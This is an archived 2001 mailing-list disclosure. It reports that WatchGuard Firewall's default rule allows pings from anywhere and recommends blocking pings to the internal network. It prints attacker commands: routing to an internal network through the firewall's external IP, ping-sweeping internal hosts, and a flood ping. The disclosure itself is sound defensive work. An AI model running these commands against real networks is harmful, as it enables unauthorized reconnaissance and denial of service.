I have found a misconfiguration in the default configuration of Watchguard Firewall. By default it appends a rule that it accepts pings from any to any. So if our firebox is defending our internal network ( 192.168.x.x ... ) and our WG Firewall is a proxie with an external ip in internet ( 100.100.100.100 hipotetic ip address ) the atacker can change his/her routes like so : # route add -net 192.168.0.0 netmask 255.255.255.0 gw 100.100.100.100 # ping 192.168.1.1 PING 192.168.1.1 (192.168.1.1): 56 data bytes 64 bytes from 192.168.1.1: icmp_seq=0 ttl=251 time=514.0 ms ^C # ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2): 56 data bytes 64 bytes from 192.168.1.2: icmp_seq=0 ttl=251 time=523.0 ms ^C and so on ... the atacker can now discovers internal network ip and atack them # ping -f 192.168.1.1 Solution is easy ... do not let pings to internal network. -- Saludos. =========================================================== Alfonso Lazaro Tellez altellezat_private Analista de seguridad IP6Seguridad http://www.ip6seguridad.com Tfno: +34 91-3430245 C\Alberto Alcocer 5, 1 D Fax: +34 91-3430294 Madrid ( SPAIN ) ===========================================================
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:01:31 PDT